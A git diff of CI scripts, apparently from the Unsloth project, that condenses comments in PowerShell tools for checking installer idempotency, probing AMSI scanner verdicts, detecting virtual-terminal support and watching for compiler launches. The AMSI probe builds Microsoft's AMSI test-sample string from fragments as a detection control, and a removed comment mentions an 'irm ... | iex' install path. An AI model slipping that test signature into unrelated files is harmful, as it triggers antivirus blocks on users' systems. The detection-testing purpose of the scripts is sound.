+# Built before the comparison below, which reads it; stored in artifacts.json for the second run.
$shortcutWrites = [ordered]@{}
foreach ($s in $shortcuts) {
if ($s.Contains('lastWriteUtc')) { $shortcutWrites["$($s.root)/$($s.name)"] = $s.lastWriteUtc }
@@ -288,8 +223,7 @@ foreach ($s in $shortcuts) {
$rewritten = $null
if ($CompareAgainst) {
if (-not (Test-Path -LiteralPath $CompareAgainst)) {
- # Deliberately NOT an empty list. An empty list means "measured, nothing was rewritten",
- # and $null means "not measured"; the comparer treats those differently and must.
+ # Not an empty list: $null means unmeasured, which the comparer treats differently.
Write-Host "::warning::no first-run manifest at $CompareAgainst, so idempotency was not measured"
} else {
$rewritten = New-Object System.Collections.ArrayList
@@ -304,9 +238,6 @@ if ($CompareAgainst) {
[void]$rewritten.Add("$contract (contents changed)")
continue
}
- # The stricter half: the modification time moving means the file was written, even
- # though the bytes it was written with are identical. That is the timestamp-moving
- # rewrite this lane says it tests for, and a hash comparison cannot see it.
if ($b.lastWriteUtc -and $a.lastWriteUtc -and $b.lastWriteUtc -ne $a.lastWriteUtc) {
[void]$rewritten.Add("$contract (rewritten with identical bytes at $($a.lastWriteUtc))")
continue
@@ -315,20 +246,11 @@ if ($CompareAgainst) {
[void]$rewritten.Add("$contract (moved from $($b.foundAt) to $($a.foundAt))")
}
}
- # The whole tree, not only the two contracts. Every top-level name is already in
- # $files (the `present = $true` entries above), and the contract loop looks at two of
- # them, so a candidate that creates a file or directory on a fresh install and removes
- # it on reinstall was invisible: the second collector overwrites artifacts.json with the
- # post-reinstall tree, so both final manifests match the base and nothing is reported.
- # Where-Object, because member enumeration over an EMPTY PSObject.Properties yields
- # $null and @($null) has Count 1. Without the filter a first run that recorded no files
- # produced one phantom key named '' and every clean run reported it as removed.
+ # Where-Object: an empty PSObject.Properties enumerates to $null, giving a phantom '' key.
$beforeFileKeys = @($before.files.PSObject.Properties.Name | Where-Object { $_ })
$nowFileKeys = @($files.Keys | Where-Object { $_ })
$contractNames = @($contentFiles.Keys)
foreach ($name in $beforeFileKeys) {
- # The contracts are handled above, with their hash, write time and location; adding
- # them here too would report the same file twice.
if ($contractNames -contains $name) { continue }
if ($nowFileKeys -notcontains $name) {
[void]$rewritten.Add("$name (removed by the second run)")
@@ -340,16 +262,10 @@ if ($CompareAgainst) {
[void]$rewritten.Add("$name (created by the second run)")
}
}
- # The shortcuts too. Their properties are compared between the two SIDES elsewhere; this
- # is the other question, whether the second install on ONE side rewrote them.
if ($before.PSObject.Properties.Name -contains 'shortcutWrites' -and $before.shortcutWrites) {
$beforeKeys = @($before.shortcutWrites.PSObject.Properties.Name | Where-Object { $_ })
foreach ($key in $shortcutWrites.Keys) {
if ($beforeKeys -notcontains $key) {
- # Present now, absent after the first install. A reinstall that CREATES a
- # shortcut is as much a second-run write as one that rewrites it, and the
- # final manifest looks identical to a normal run, so ignoring a key with no
- # prior timestamp let that pass.
[void]$rewritten.Add("shortcut $key (created by the second run)")
continue
}
@@ -358,25 +274,14 @@ if ($CompareAgainst) {
[void]$rewritten.Add("shortcut $key (rewritten at $($shortcutWrites[$key]))")
}
}
- # And the other direction. The loop above walks the CURRENT keys, so a shortcut that
- # existed after the first install and was deleted by the second was never looked at.
- # The second collector overwrites shortcuts.json with the final state, so a candidate
- # that creates an extra shortcut on a fresh install and removes it on reinstall ends
- # with manifests that match the base and an empty rewrittenOnSecondRun: a false PASS
- # on a shortcut a user watched disappear.
+ # Also catch shortcuts the second run deleted.
foreach ($key in $beforeKeys) {
- # `-contains` on .Keys, not ContainsKey: $shortcutWrites is an
- # [ordered]@{}, which is an OrderedDictionary and has Contains rather than
- # ContainsKey, and calling the wrong one throws into the catch below and reports
- # idempotency as unmeasured.
+ # -contains on .Keys: OrderedDictionary has no ContainsKey.
if (@($shortcutWrites.Keys | Where-Object { $_ }) -notcontains $key) {
[void]$rewritten.Add("shortcut $key (removed by the second run)")
}
}
} elseif ($shortcuts.Count -gt 0) {
- # Shortcuts exist now and the first run recorded nothing about them, so the shortcut
- # half of this measurement did not happen. VOID rather than a silent pass: the
- # comparer treats a missing rewrittenOnSecondRun as unmeasured for the same reason.
Write-Host '::warning::the first-run manifest carries no shortcut write times, so second-run shortcut writes could not be measured'
throw 'first-run shortcut evidence is missing'
}
@@ -387,13 +292,8 @@ if ($CompareAgainst) {
}
}
-# The install ID, both where it is persisted and where it is embedded. install.ps1 writes
-# share\studio_install_id and bakes the same value into the generated launcher as
-# $_ExpectedStudioRootId, which the launcher compares against the backend's studio_root_id before
-# accepting it (install.ps1:3018, :3085, :3095). If those two ever disagree Studio does not launch
-# at all -- and the content comparison cannot see it, because the transcript normaliser rewrites
-# every 64-character hex token, so any ID change compares equal. The two values are only meaningful
-# against EACH OTHER within one install; they are expected to differ between base and head.
+# The persisted install ID must match the one baked into the launcher, or Studio will not launch.
+# They are expected to differ between base and head.
$installId = $null
foreach ($rootLabel in $searchRoots.Keys) {
$root = $searchRoots[$rootLabel]
@@ -432,5 +332,5 @@ if ($null -ne $rewritten) {
Write-Host "second run rewrote: $(if ($rewritten.Count) { $rewritten -join ', ' } else { 'nothing' })"
}
-# Always zero. A collection failure is data for the comparer, not a red step.
+# Always zero: a collection failure is data for the comparer.
exit 0
diff --git a/.github/scripts/Probe-AmsiParse.ps1 b/.github/scripts/Probe-AmsiParse.ps1
index e4ca66d0d77..04e0a61c0e5 100644
--- a/.github/scripts/Probe-AmsiParse.ps1
+++ b/.github/scripts/Probe-AmsiParse.ps1
@@ -56,9 +56,6 @@ param(
$ErrorActionPreference = 'Continue'
-# The error IDs that mean "the scanner refused this", separated because they have different causes
-# and different fixes. A signature match is something we can get cleared; an administrator policy
-# block is not.
$blockedIds = @{
'ScriptContainedMaliciousContent' = 'an AMSI provider matched the content'
'ScriptHasAdminBlockedContent' = 'an administrative policy blocked the content'
@@ -77,19 +74,11 @@ function Submit-ToCompiler {
reason = ''
}
try {
- # Compilation only. Nothing is invoked, so submitting the real installer here cannot install
- # anything, and that is what makes running this on every candidate cheap and safe.
+ # Compile only; nothing is invoked.
$null = [scriptblock]::Create($Text)
} catch {
$result.errorType = $_.Exception.GetType().FullName
- # The OUTER record is useless for this decision. Calling a .NET static method from
- # PowerShell wraps whatever it threw in a MethodInvocationException whose
- # FullyQualifiedErrorId is the generic 'ParseException', while the id that says WHY -- and
- # so whether a scanner refused this or the script simply does not parse -- lives on the
- # inner ParseException's Errors collection. Verified by execution: a deliberate syntax error
- # gives outer 'ParseException' and inner ErrorId 'IfStatementMissingCondition'. Matching the
- # outer id alone meant ScriptContainedMaliciousContent was never seen, so not even the
- # positive control could fire and the lane could only ever report that it had not measured.
+ # The outer error id is a generic 'ParseException'; the real reason is on the inner Errors.
$ids = New-Object System.Collections.Generic.List[string]
$ids.Add([string]$_.FullyQualifiedErrorId)
$inner = $_.Exception
@@ -101,11 +90,8 @@ function Submit-ToCompiler {
}
$inner = $inner.InnerException
}
- # Joined, so the recorded id still reads usefully in the summary and a match below can key
- # on any level of the chain.
$result.errorId = ($ids | Where-Object { $_ } | Select-Object -Unique) -join '/'
- # Truncated: a provider can echo a long span of the submitted script back, and the whole
- # point of this work is to avoid writing suspicious-looking text into files.
+ # Truncated so we do not write echoed suspicious script text to files.
$msg = [string]$_.Exception.Message
if ($msg.Length -gt 400) { $msg = $msg.Substring(0, 400) + ' ...' }
$result.message = $msg
@@ -117,8 +103,6 @@ function Submit-ToCompiler {
}
}
if (-not $result.blocked) {
- # A syntax error is not a scanner verdict, and conflating the two would let a broken
- # candidate masquerade as a detection (or the reverse, which is worse).
$result.reason = 'the script did not compile, for a reason unrelated to a scanner'
}
}
@@ -128,9 +112,7 @@ function Submit-ToCompiler {
$results = New-Object System.Collections.ArrayList
if ($Control) {
- # Assembled from fragments so this repository is not itself a sample carrying the signature.
- # Microsoft's own documentation splits it the same way. Reassembled only in memory, never
- # written to disk.
+ # Assembled from fragments so this repo does not itself carry the AMSI test signature.
$sample = 'AMSI Test Sample: ' + '7e72c3ce-' + '861b-4339-' + '8740-' + '0ac1484c1386'
[void]$results.Add((Submit-ToCompiler -Label 'control (AMSI test sample)' -Text $sample))
}
@@ -144,12 +126,7 @@ foreach ($file in @($Path) | Where-Object { $_ }) {
}
$text = $null
try {
- # Decoded as UTF-8 explicitly, never by Get-Content's default. Under Windows PowerShell
- # 5.1 -- which is the host this probe exists to reproduce -- Get-Content assumes the system
- # ANSI code page for a file with no BOM, and the shipped installers are BOM-less UTF-8 with
- # non-ASCII text in them. That turns the bytes into mojibake before AMSI ever sees them, so
- # the provider would be judging a string no user ever runs. It also does not match the
- # documented `irm ... | iex` path, where the response is decoded as Unicode.
+ # Decode as UTF-8 explicitly: PS 5.1 Get-Content assumes ANSI for BOM-less files.
$text = [System.IO.File]::ReadAllText($file, [System.Text.UTF8Encoding]::new($false))
} catch {
[void]$results.Add([ordered]@{
@@ -180,7 +157,5 @@ foreach ($r in $results) {
if ($r.errorId) { Write-Host " id: $($r.errorId)" }
}
-# Always zero. Whether a block is a failure is a decision about controls and about which side of a
-# differential it appeared on, and the caller holds both. A probe that exits non-zero on a detection
-# cannot be used to establish a baseline.
+# Always zero; the caller decides whether a block is a failure.
exit 0
diff --git a/.github/scripts/Probe-VirtualTerminal.ps1 b/.github/scripts/Probe-VirtualTerminal.ps1
index 2e5b307e2d6..dc153abb3f4 100644
--- a/.github/scripts/Probe-VirtualTerminal.ps1
+++ b/.github/scripts/Probe-VirtualTerminal.ps1
@@ -30,11 +30,9 @@
[CmdletBinding()]
param(
- # Where to write the JSON result. Required, because a console-attached run has no usable stdout.
+ # Required because a console-attached run has no usable stdout.
[Parameter(Mandatory = $true)][string]$OutFile,
- # Set when this process already owns a real console, i.e. it was started through conhost.exe.
- # Only affects the reported label; every measurement below is taken the same way either way.
[switch]$Attached
)
@@ -45,8 +43,6 @@ $result = [ordered]@{
hostName = $Host.Name
psVersion = $PSVersionTable.PSVersion.ToString()
psEdition = $PSVersionTable.PSEdition
- # The OS build, because the thing being measured is supplied by the OS. A verdict that does not
- # say which ConsoleHost produced it cannot be checked later against the host a user reports.
osCaption = $null
osBuild = $null
architecture = $env:PROCESSOR_ARCHITECTURE
@@ -58,7 +54,7 @@ $result = [ordered]@{
nativeConsoleMode = $null
}
-# Get-CimInstance rather than Get-ComputerInfo: the latter is slow and absent on 5.1 before 5.1.14393.
+# Get-ComputerInfo is slow and missing on older 5.1 builds.
try {
$os = Get-CimInstance -ClassName Win32_OperatingSystem -ErrorAction Stop
$result.osCaption = [string]$os.Caption
@@ -67,19 +63,14 @@ try {
try { $result.isOutputRedirected = [Console]::IsOutputRedirected } catch { $result.isOutputRedirected = "THREW: $($_.Exception.GetType().Name)" }
-# --- The candidate: one property read. ---------------------------------------------------------
-# try/catch because a host without the property throws under Set-StrictMode, and the installers run
-# under strict mode. $false is the right answer on such a host (the ISE, for one) in any case.
+# Throws under StrictMode on hosts without the property; $false is correct there.
try {
$result.supportsVt = [bool]$Host.UI.SupportsVirtualTerminal
} catch {
$result.supportsVtError = "$($_.Exception.GetType().Name): $($_.Exception.Message)"
}
-# --- The incumbent: exactly what install.ps1 does today. ---------------------------------------
-# Emitted rather than compiled, for the same reason install.ps1 emits it: Add-Type on Windows
-# PowerShell 5.1 writes C# to %TEMP% and runs csc.exe, and this script must not be the thing that
-# reintroduces a compile into a lane whose whole job is to prove nothing compiles.
+# Emitted rather than compiled: Add-Type on 5.1 runs csc.exe, which this lane must not trigger.
try {
if (-not ('ProbeVtNative' -as [type])) {
$asmName = New-Object System.Reflection.AssemblyName 'ProbeVtNativeAsm'
@@ -123,7 +114,6 @@ try {
$null = $typeBuilder.CreateType()
}
- # STD_OUTPUT_HANDLE, then ENABLE_VIRTUAL_TERMINAL_PROCESSING, as install.ps1:2131-2135 does.
$handle = [ProbeVtNative]::GetStdHandle(-11)
[uint32]$mode = 0
if (-not [ProbeVtNative]::GetConsoleMode($handle, [ref]$mode)) {
diff --git a/.github/scripts/Watch-ForCompiler.ps1 b/.github/scripts/Watch-ForCompiler.ps1
index 7f10b1846d5..8b5d0eec4a0 100644
--- a/.github/scripts/Watch-ForCompiler.ps1
+++ b/.github/scripts/Watch-ForCompiler.ps1
@@ -134,9 +134,7 @@ function Get-StudioTempSubtree {
[Parameter(Mandatory = $true)][string]$Root,
[Parameter(Mandatory = $true)][string[]]$Patterns
)
- # Generic lists, not PowerShell arrays. += on an array allocates a new one and
- # copies, so a large temp tree costs quadratic time in the number of entries on
- # a path that runs twice per measured action.
+ # Generic lists: += on arrays is quadratic.
$found = New-Object 'System.Collections.Generic.List[string]'
$unread = New-Object 'System.Collections.Generic.List[string]'
$pending = New-Object 'System.Collections.Generic.List[string]'
@@ -145,10 +143,7 @@ function Get-StudioTempSubtree {
while ($pending.Count -gt 0) {
$visited++
if ($visited -gt 200000) {
- # Not a break. A truncated snapshot is indistinguishable from a clean one
- # to the caller, and this listing is exactly what stands in when the
- # watcher cannot attach, so a silent stop turns a missed artifact into a
- # clean verdict. Better to declare the measurement void.
+ # Throw, not break: a truncated snapshot would look clean.
throw ("the temp scan of $Root passed $visited directories without finishing. " +
"A partial snapshot would be read as a complete one, so this run cannot " +
"say whether a compiler ran.")
@@ -158,27 +153,11 @@ function Get-StudioTempSubtree {
$entries = @()
try { $entries = @(Get-ChildItem -LiteralPath $dir -Force -ErrorAction Stop) }
catch {
- # Recorded, not just skipped. The caller subtracts the baseline listing from the
- # final one, so a directory that fails HERE and succeeds in the other snapshot
- # silently changes the answer: files that were there all along show up as new and
- # an innocent action is reported as having compiled. The reverse hides a real
- # artifact. Which directory went unread has to survive to the comparison.
- #
- # A directory that no longer exists is not a gap. It cannot contribute a file to
- # a later listing of itself, and re-reading a path that raised for any other
- # reason is how a transient lock gets a second chance.
- #
- # Classified from the error, never by probing the path. Test-Path answers $false
- # for a missing directory but THROWS on an ACL-denied one, so probing would both
- # call an unreadable directory deleted - dropping it silently, which is the exact
- # defect this file exists to prevent - and raise from inside the catch meant to
- # contain the failure.
+ # Record unread dirs so the before/after diff can withhold them. Classify from the error,
+ # not Test-Path, which throws on ACL-denied dirs.
if (Test-StudioPathIsGone -ErrorRecord $_) { continue }
try { $entries = @(Get-ChildItem -LiteralPath $dir -Force -ErrorAction Stop) }
catch {
- # Re-classified rather than assumed: the deletion race can land in the window
- # between the two reads, and recording that as unread would void a run for the
- # ordinary temp deletion this change exists to tolerate.
if (-not (Test-StudioPathIsGone -ErrorRecord $_)) { $unread.Add($dir) }
continue
}
@@ -215,15 +194,12 @@ function Get-StudioTempArtifacts {
$found = New-Object 'System.Collections.Generic.List[string]'
$unread = New-Object 'System.Collections.Generic.List[string]'
foreach ($root in (Get-StudioTempRoots)) {
- # The whole subtree: PowerShell compiles into a per-invocation subdirectory,
- # not into the root, so a non-recursive listing sees none of this.
+ # Recursive: PowerShell compiles into a per-invocation subdirectory.
$scan = Get-StudioTempSubtree -Root $root -Patterns $patterns
$found.AddRange([string[]]$scan.Files)
$unread.AddRange([string[]]$scan.Unread)
}
- # Arrays cast explicitly: PowerShell unrolls an empty array to nothing, and the
- # caller casts Files into a HashSet whose two-argument constructor rejects null.
- # On a clean runner that killed the watcher before the positive control ran.
+ # Cast explicitly: an empty array unrolls to null, which the caller's HashSet rejects.
return [pscustomobject]@{
Files = [string[]]$found.ToArray()
Unread = [string[]]$unread.ToArray()
@@ -273,10 +249,7 @@ function Test-StudioPathUnder {
}
$script:ArtifactPattern = '\.(dll|cmdline|rsp|cs|err|out)$'
-# A compiler's own files, wherever they appear. Nothing else writes a .cmdline.
$script:CompilerFilePattern = '\.(cmdline|rsp)$'
-# What csc leaves beside the assembly it produced: the response file, the generated
-# source, and the captured streams.
$script:CompilerSiblingPattern = '\.(cmdline|rsp|cs|err|out)$'
function Get-StudioParentPath {
@@ -337,9 +310,7 @@ function Select-StudioCompilerLibraries {
$libraries += $path
}
}
- # Returned plain, not comma-wrapped like the functions above: the caller normalises
- # with @(), and wrapping an empty array there yields a one-element array holding an
- # empty array, which reads downstream as one unnamed temporary library.
+ # Not comma-wrapped: the caller normalises with @(), and wrapping would nest an empty array.
return $libraries
}
@@ -364,18 +335,12 @@ function Start-StudioTempWatch {
$watcher.Path = $root
$watcher.IncludeSubdirectories = $true
$watcher.NotifyFilter = [System.IO.NotifyFilters]::FileName
- # The default 8 KB buffer overflows on a busy temp directory, and an
- # overflow drops events silently, which here reads as a clean run.
+ # The default 8 KB buffer overflows and silently drops events.
$watcher.InternalBufferSize = 65536
$identifier = "StudioTempWatch-" + [guid]::NewGuid().ToString('N')
$null = Register-ObjectEvent -InputObject $watcher -EventName Created `
-SourceIdentifier $identifier
- # The Error event, subscribed for the same reason the buffer was enlarged above. An
- # overflow raises Error and drops the events it could not queue, silently, and a
- # watcher that dropped events is one the caller must not count as covering its root:
- # an artifact can then be missing from the live stream AND from the listing, which
- # reads as a clean run. Without this subscription the failure is not observable at
- # all, so the handle would stay in $watchedRoots looking healthy.
+ # Subscribe to Error so an overflowed watcher is not counted as covering its root.
$errorIdentifier = $identifier + "-error"
$null = Register-ObjectEvent -InputObject $watcher -EventName Error `
-SourceIdentifier $errorIdentifier
@@ -403,9 +368,7 @@ function Stop-StudioTempWatch {
#>
param([Parameter(Mandatory = $true)][AllowEmptyCollection()][object[]]$Handle)
- # Delivery is asynchronous, so the last few creations before the action returned may
- # still be in flight. Settle first, then stop raising: draining immediately dropped
- # exactly the events that matter, the ones from the end of a compile.
+ # Delivery is async; settle before draining or the last events are lost.
Start-Sleep -Milliseconds 750
$seen = @()
@@ -421,10 +384,6 @@ function Stop-StudioTempWatch {
Remove-Event -EventIdentifier $record.EventIdentifier -ErrorAction SilentlyContinue
}
} catch { }
- # Any Error at all condemns the root. There is no partial credit available here: the
- # event carries the exception, not the list of creations it dropped, so a watcher that
- # raised once cannot say what it missed and the caller cannot treat it as covering
- # anything.
if ($entry.PSObject.Properties['ErrorSourceIdentifier']) {
try {
$errors = @(Get-Event -SourceIdentifier $entry.ErrorSourceIdentifier `
@@ -488,10 +447,7 @@ function Test-StudioCompilerImage {
param([string]$Image)
if ([string]::IsNullOrEmpty($Image)) { return $false }
- # Split explicitly, not via [System.IO.Path]::GetFileName, which splits on the HOST's
- # separators: under the Linux pwsh where this is tested a backslash is an ordinary
- # character and the whole path came back as the leaf. The records are always Windows
- # paths whatever reads them.
+ # Split explicitly: GetFileName uses the host's separators, wrong under Linux pwsh.
$leaf = ($Image -split '[\\/]')[-1]
foreach ($name in $script:CompilerNames) {
if ($leaf -eq $name) { return $true }
@@ -513,20 +469,7 @@ function Select-StudioCompilerHits {
foreach ($record in $Events) {
$image = Get-StudioProcessImageName -Event $record
if (-not (Test-StudioCompilerImage -Image $image)) { continue }
- # A compiler started BY a compiler is a step of a compile that is already being
- # scored, not a new one. csc.exe shells out to cvtres.exe to build its resource
- # blob, and counting that as a second hit says the action compiled twice.
- #
- # It also decides the cross-step bleed the $prior subtraction could not, because
- # the Security log is written with latency: the positive control's csc.exe started
- # before the installer's window, its cvtres.exe child landed inside, and neither
- # was in the log yet when the baseline was taken. The child is the only part that
- # was ever in range.
- #
- # Detection is unchanged for a compile the action really starts, because its ROOT
- # compiler is spawned by the installer's shell, not by another compiler, and the
- # window opens before the action does. What this drops is only ever the second
- # process of a chain whose first was already seen or was never in range at all.
+ # Skip compilers spawned by compilers (csc -> cvtres): part of an already-counted compile.
if (Test-StudioCompilerImage -Image (Get-StudioEventField -Event $record -Name 'ParentProcessName')) {
continue
}
@@ -562,14 +505,7 @@ function Get-StudioCompilerEvents {
$events = @()
try {
- # Bounded at both ends. Open-ended, a compiler started by something else during
- # the recursive temp scan counted against the action that had already finished.
- #
- # Padded a second each way, then filtered exactly below: the hashtable's bounds do
- # not hold to the precision they are given. A csc.exe at 17:51:57.107 came back from
- # a window whose floor was 17:51:57.58, and failed a step that had not printed its
- # first line until 17:51:58.58. TimeCreated is the instant the claim is about. The
- # far pad covers the other end, where rounding could drop a real compile.
+ # Pad a second each way, then filter exactly: the hashtable bounds are imprecise.
$events = Get-WinEvent -FilterHashtable @{
LogName = 'Security'
Id = 4688
@@ -580,16 +516,8 @@ function Get-StudioCompilerEvents {
$_.TimeCreated -ge $Since -and $_.TimeCreated -le $Until
})
} catch [System.Exception] {
- # No matching events is an exception from Get-WinEvent, not an empty set, and on
- # a clean run that is expected. A log this cannot READ throws the same way, so
- # swallowing both would print "no compiler" having seen nothing at all. The
- # positive control runs in an earlier step and says nothing about whether the log
- # was readable during the measurements.
- #
- # Separate them structurally rather than by the localised message text: ask the
- # log for any one record. If that succeeds the filter genuinely matched nothing;
- # if it fails too, this measurement is void, not clean.
- # Bound before the probe below, whose own catch rebinds $_.
+ # Get-WinEvent throws both on no matches and on an unreadable log; probe the log to tell them apart.
+ # Bind $_ before the probe, whose catch rebinds it.
$reason = $_.Exception.Message
$readable = $false
try {
@@ -623,60 +551,32 @@ function Invoke-WithCompilerWatch {
New-Item -ItemType Directory -Force -Path $EvidenceRoot | Out-Null
- # Baseline first, THEN open the window. The sweep walks every temp root
- # recursively and can take seconds, and a csc.exe the machine started during that
- # walk predates the action, so counting it fails a measurement for something it
- # did not do. Same reasoning as the $until below.
+ # Baseline first, then open the window, so compiles during the sweep are not counted.
$beforeScan = Get-StudioTempArtifacts
$before = New-Object 'System.Collections.Generic.HashSet[string]' (
[string[]]$beforeScan.Files, [StringComparer]::OrdinalIgnoreCase)
- # A second back, so a process created in the same tick as the timestamp survives
- # Get-WinEvent's strictly-later comparison. That reaches one second into the tail
- # of the sweep above, so a compiler started in that second is counted: a deliberate
- # trade towards a loud false alarm rather than a dropped real compile.
+ # Back one second so a same-tick process survives Get-WinEvent's strictly-later comparison.
$since = (Get-Date).AddSeconds(-1)
- # That second reaches backwards, so it can reach into whatever ran BEFORE this action.
- # It did: the positive control compiles a type one step earlier, and its
- # csc.exe -> cvtres.exe landed inside the installer measurement's lookback and was
- # reported as "the installer spawned 1 compiler process(es)".
- #
- # Recorded and subtracted below, rather than moving the floor forward: a hit already in
- # the window before the action starts cannot be the action's, while moving the floor to
- # "now" would give up the same-tick protection the second is there to provide.
+ # That lookback can catch the previous step's compile, so record it and subtract below.
$prior = @(Get-StudioCompilerEvents -Since $since -Until (Get-Date))
- # Opened here, with the 4688 window, and not before the baseline: a file the
- # machine creates during that recursive sweep predates the action.
$watch = Start-StudioTempWatch
$failure = $null
$live = @()
$watchFailedRoots = @()
try {
- # Out-Host, not the success stream. The installer action tees its log, and those
- # lines would be emitted as function output ahead of the result hashtable, making
- # the caller's $seen an object array whose $seen.Compilers fails under
- # Set-StrictMode instead of reporting the measurement.
+ # Out-Host so action output does not pollute the function's return value.
& $Action | Out-Host
} catch {
- # Recorded and re-thrown below. The detectors still report, because "the
- # installer died AND spawned a compiler" beats either half alone.
$failure = $_
} finally {
- # In the finally, so an action that threw still closes its subscriptions.
$drained = Stop-StudioTempWatch -Handle $watch
$live = @($drained.Paths)
- # Roots whose watcher raised. Carried out of the finally so the coverage check
- # below can refuse to count them, and initialised above so an action that threw
- # before the watch started still leaves the variable defined.
$watchFailedRoots = @($drained.FailedRoots)
}
- # Closed before the temp sweep, which can take seconds: anything the machine
- # starts during that walk belongs to nobody's measurement.
+ # Closed before the temp sweep, which can take seconds.
$until = Get-Date
- # Each hit string carries its own round-trip timestamp, image and message, so it
- # identifies the record. Anything that was already there before the action ran is
- # dropped by identity.
$compilers = @(
Get-StudioCompilerEvents -Since $since -Until $until |
Where-Object { $prior -notcontains $_ }
@@ -685,40 +585,16 @@ function Invoke-WithCompilerWatch {
$afterScan = Get-StudioTempArtifacts
$after = $afterScan.Files
- # A directory that could not be read in EITHER sweep is a hole in the comparison, not an
- # empty directory. $left below is "in the final listing and not in the baseline", so a
- # directory unread at baseline and readable afterwards hands every file that was already
- # sitting in it to $left, and the action is reported as having compiled something it did
- # not. Unread afterwards hides the opposite: a real artifact that never reaches $left.
- #
- # So paths under an unread directory are not evidence either way and are withheld from
- # $left, and which directories those were is recorded in the evidence rather than
- # dropped silently.
+ # Paths under a dir unread in either sweep are withheld from $left: they are not evidence either way.
$unread = @($beforeScan.Unread + $afterScan.Unread | Sort-Object -Unique)
- # Only the roots whose watcher stayed healthy. A FileSystemWatcher that overflowed its
- # buffer raises Error and drops the creations it could not queue, and its handle is still
- # in $watch looking exactly like a working one. Counting it as coverage is what would let
- # an artifact go missing from the live stream AND from the listing at once, which is the
- # only combination that reports a compile as a clean run.
+ # Only roots whose watcher stayed healthy count as covered.
$watchedRoots = New-Object 'System.Collections.Generic.HashSet[string]' (
[string[]]@(
$watch | ForEach-Object { $_.Root } | Where-Object {
$watchFailedRoots -notcontains $_
}
), [StringComparer]::OrdinalIgnoreCase)
- # Collected, not thrown on. Withholding is only safe while the watcher is covering that
- # root: it reports creations live, so a compile inside an unread directory still lands in
- # $transient. With no watcher on the root the listing is the only evidence there is, and
- # withholding part of it would report a hole as a clean result. That is the same call as
- # the traversal cap in Get-StudioTempSubtree, for the same reason, so it is the same
- # answer: declare the measurement void.
- #
- # Raised at the END of this function rather than here. The action may already have thrown,
- # and that failure is held in $failure to be written to <name>-error.txt and rethrown
- # below. Voiding from this point would run before either, so an installer that genuinely
- # died would be reported as a scanner problem and its promised evidence file would never
- # be written. The scan being incomplete is worth failing on; it is not worth failing on
- # INSTEAD of what the caller was actually measuring.
+ # Unread dirs on unwatched roots void the run, but only at the end so an action failure wins.
$uncovered = @()
foreach ($dir in $unread) {
$covered = @($watchedRoots | Where-Object { Test-StudioPathUnder -Path $dir -Directory $_ })
@@ -735,8 +611,6 @@ function Invoke-WithCompilerWatch {
return $true
}
)
- # Only the names the compiler writes, because the watcher reports every creation
- # under temp and most of them are nobody's business.
$transient = @($live | Where-Object { $_ -match $script:ArtifactPattern })
$union = New-Object 'System.Collections.Generic.HashSet[string]' ([StringComparer]::OrdinalIgnoreCase)
$newArtifacts = @()
@@ -748,31 +622,18 @@ function Invoke-WithCompilerWatch {
$stem = Join-Path $EvidenceRoot $Name
$compilers | Out-File -FilePath "$stem-compilers.txt" -Encoding utf8
$newArtifacts | Out-File -FilePath "$stem-temp-artifacts.txt" -Encoding utf8
- # Written even when empty, so "the sweep read everything" is a statement the evidence
- # makes rather than the absence of a file, which is also what a crash looks like.
+ # Written even when empty, so absence of the file means a crash.
$unread | Out-File -FilePath "$stem-unread-dirs.txt" -Encoding utf8
- # Written even when empty, for the same reason as the unread list: "every watcher stayed
- # healthy" should be a statement the evidence makes, not the absence of a file.
$watchFailedRoots | Out-File -FilePath "$stem-watch-failures.txt" -Encoding utf8
if ($failure) {
$failure | Out-String | Out-File -FilePath "$stem-error.txt" -Encoding utf8
}
- # The action's own failure first, always. It is the thing under measurement, it is already
- # on disk as <name>-error.txt, and an incomplete sweep is the lesser report of the two.
if ($failure) { throw $failure }
- # Only once the action itself succeeded and all the evidence is written does an incomplete
- # measurement void the run. Both reasons are reported together rather than racing each
- # other, so the caller is told everything that was wrong with the sweep at once.
$incomplete = @()
if ($watchFailedRoots.Count -gt 0) {
- # A watcher that raised is not merely "not covering unread directories". This half of
- # the detector exists for artifacts that never reach the listing at all: CodeDom
- # deletes its intermediate directory once the assembly is loaded, so a compile can be
- # invisible to the before/after diff and visible only as live events. An overflow drops
- # those events silently, so two clean scans plus a failed watcher is exactly the shape
- # of a missed compile, with nothing in $uncovered to notice it.
+ # A failed watcher alone voids the run: CodeDom deletes its temp dir, so live events are the only evidence.
$incomplete += ("the file watcher on " + ($watchFailedRoots -join ', ') + " raised an " +
"error, so creations under it may have been dropped. A compile whose " +
"intermediates were deleted before the final sweep is visible only in " +
@@ -784,8 +645,6 @@ function Invoke-WithCompilerWatch {
"the only evidence here and it is incomplete")
}
if ($incomplete.Count -gt 0) {
- # $uncovered and $watchFailedRoots are in the evidence either way, through
- # <name>-unread-dirs.txt and <name>-watch-failures.txt.
throw (($incomplete -join '; ') + ". This run cannot say whether a compiler ran.")
}
diff --git a/.github/scripts/agent-guides-drive.sh b/.github/scripts/agent-guides-drive.sh
index 45159341d64..d75d10e2b8d 100755
--- a/.github/scripts/agent-guides-drive.sh
+++ b/.github/scripts/agent-guides-drive.sh
@@ -1,25 +1,9 @@
#!/usr/bin/env bash
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Drive one coding agent against the running `unsloth run` server for the
-# Local Agent Guides CI. All failures from here are failure class (c)
-# "guide drift": the server preflight already passed and the agent CLI
-# already installed, so a failure here means the documented recipe in
-# unsloth_cli/commands/start.py no longer produces a working flow.
-# Self-updating: for all eight agents (claude, codex, hermes, openclaw,
-# opencode, pi, dsh, vibe) we obtain the exact env + command from
-# `unsloth start <agent> --no-launch` and run THAT, so a recipe change is
-# exercised automatically.
-# Every agent invocation is wrapped in `timeout` so a headless-TTY prompt
-# can never hang the runner -- a timeout is reported as guide drift with a
-# distinct message.
-# Usage:
-# agent-guides-drive.sh connection <agent>
-# agent-guides-drive.sh file-edit <agent>
-# agent-guides-drive.sh attribution-ab claude
-# Required env (exported by serve-unsloth-run.sh):
-# UNSLOTH_BASE_URL UNSLOTH_API_KEY UNSLOTH_MODEL_ID
-# UNSLOTH_LLAMA_LOG_DIR AGENT_INVOKE_TIMEOUT UNSLOTH_SEED
+# Drive one coding agent against the running `unsloth run` server. Failures here are guide drift:
+# the recipe comes from `unsloth start <agent> --no-launch`.
+# Usage: agent-guides-drive.sh connection|file-edit <agent> | attribution-ab claude
set -uo pipefail
MODE="${1:?usage: agent-guides-drive.sh <mode> <agent>}"
@@ -28,20 +12,11 @@ AGENT="${2:?usage: agent-guides-drive.sh <mode> <agent>}"
